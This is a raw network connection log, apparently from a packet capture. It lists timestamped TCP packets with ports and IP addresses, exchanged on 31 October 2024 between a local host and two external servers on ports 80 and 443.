Oct 31, 2024 05:07:17.453491926 CET	49857	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:17.453609943 CET	443	49857	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:17.457349062 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.457395077 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.457406998 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.457418919 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.457428932 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.457457066 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.457475901 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.457583904 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.457595110 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.457607031 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.457617044 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.457628965 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.457631111 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.457653999 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.457665920 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.492161989 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.492172956 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.492185116 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.492196083 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.492216110 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.492242098 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.494302034 CET	49857	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:17.494328022 CET	443	49857	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:17.541192055 CET	49857	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:17.541882992 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.541894913 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.541903973 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.542094946 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.571075916 CET	443	49857	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:17.571135998 CET	443	49857	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:17.571163893 CET	443	49857	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:17.571187973 CET	49857	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:17.571206093 CET	443	49857	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:17.571255922 CET	49857	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:17.571260929 CET	443	49857	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:17.571310043 CET	49857	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:17.571472883 CET	49857	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:17.571506023 CET	443	49857	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:17.571541071 CET	49857	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:17.571556091 CET	443	49857	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:17.576085091 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.576102972 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.576139927 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.576153994 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.576186895 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.576205015 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.576215982 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.576222897 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.576229095 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.576245070 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.576267958 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.576685905 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.576694965 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.576731920 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.576915026 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.576925993 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.576936960 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.576948881 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.576961040 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.576975107 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.577008009 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.611129045 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.611140966 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.611150980 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.611164093 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.611183882 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.611212015 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.660828114 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.660846949 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.660881996 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.660906076 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.695250988 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.695262909 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.695274115 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.695283890 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.695295095 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.695297003 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.695311069 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.695354939 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.695540905 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.695554972 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.695566893 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.695589066 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.695599079 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.695604086 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.695611000 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.695621967 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.695647001 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.695678949 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.730092049 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.730109930 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.730122089 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.730144978 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.730165958 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.753330946 CET	49866	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:17.753348112 CET	443	49866	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:17.753402948 CET	49866	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:17.753680944 CET	49866	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:17.753693104 CET	443	49866	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:17.786909103 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.786928892 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.786937952 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.786961079 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.786983013 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.814078093 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.814095974 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.814125061 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.814140081 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.814152002 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.814184904 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.814193964 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.814196110 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.814215899 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.814227104 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.814513922 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.814523935 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.814557076 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.814646959 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.814687014 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.814692020 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.814708948 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.814730883 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.814733028 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.814740896 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.814750910 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.814773083 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.814804077 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.849086046 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.849103928 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.849116087 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.849128008 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.849140882 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.849174023 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.849217892 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.898813009 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.898884058 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.898920059 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.898941040 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.933763981 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.933799982 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.933810949 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.933887959 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.933917999 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.933931112 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.933931112 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.933943987 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.933960915 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.933979988 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.934106112 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.934118032 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.934129000 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.934154987 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.934175968 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.934181929 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.934192896 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.934202909 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.934221029 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.934247971 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.968399048 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.968410969 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.968422890 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.968434095 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.968446016 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:17.968450069 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.968472004 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:17.968487978 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.053389072 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.053417921 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.053436041 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.053450108 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.053472042 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.053487062 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.053488970 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.053535938 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.053677082 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.053692102 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.053706884 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.053729057 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.053734064 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.053749084 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.053754091 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.053765059 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.053781033 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.053803921 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.087268114 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.087281942 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.087294102 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.087306976 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.087323904 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.087352991 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.087352991 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.087394953 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.087515116 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.087560892 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.087584972 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.087636948 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.172499895 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.172514915 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.172534943 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.172548056 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.172564983 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.172575951 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.172614098 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.172764063 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.172776937 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.172791004 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.172811031 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.172811985 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.172827005 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.172836065 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.172842979 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.172856092 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.172880888 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.173682928 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.173695087 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.173732996 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.206358910 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.206384897 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.206401110 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.206414938 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.206429958 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.206489086 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.206525087 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.252029896 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.252047062 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.252059937 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.252131939 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.252183914 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.291321039 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.291368008 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.291377068 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.291379929 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.291410923 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.291413069 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.291425943 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.291429043 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.291438103 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.291456938 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.291476011 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.291897058 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.291922092 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.291938066 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.291954041 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.291975021 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.292267084 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.292284012 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.292295933 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.292306900 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.292309046 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.292319059 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.292337894 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.292365074 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.325181961 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.325220108 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.325229883 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.325241089 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.325247049 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.325267076 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.325292110 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.325376034 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.325387001 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.325398922 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.325409889 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.325423002 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.325452089 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.367291927 CET	443	49866	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:18.367391109 CET	49866	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:18.368706942 CET	49866	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:18.368717909 CET	443	49866	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:18.368953943 CET	443	49866	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:18.370330095 CET	49866	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:18.370500088 CET	49866	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:18.370532990 CET	443	49866	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:18.370598078 CET	49866	443	192.168.2.4	188.114.97.3
Oct 31, 2024 05:07:18.370605946 CET	443	49866	188.114.97.3	192.168.2.4
Oct 31, 2024 05:07:18.370759964 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.370779991 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.370790958 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.370809078 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.370829105 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.410410881 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.410475969 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.410487890 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.410494089 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.410501003 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.410518885 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.410540104 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.410576105 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.410693884 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.410703897 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.410742998 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.410831928 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.410877943 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.410891056 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.410902977 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.410913944 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.410931110 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.410953999 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.411391973 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.411431074 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.411441088 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.411472082 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.411542892 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.411552906 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.411592007 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.444271088 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.444283009 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.444294930 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.444307089 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.444349051 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.444382906 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.444516897 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.444529057 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.444540024 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.444550991 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.444570065 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.444587946 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.489865065 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.489877939 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.489886999 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.489936113 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.489972115 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.529330969 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.529347897 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.529361010 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.529371023 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.529381990 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.529387951 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.529402018 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.529437065 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.529656887 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.529666901 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.529702902 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.529799938 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.529809952 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.529820919 CET	80	49851	185.215.113.16	192.168.2.4
Oct 31, 2024 05:07:18.529844999 CET	49851	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:07:18.529856920 CET	49851	80	192.168.2.4	185.215.113.16
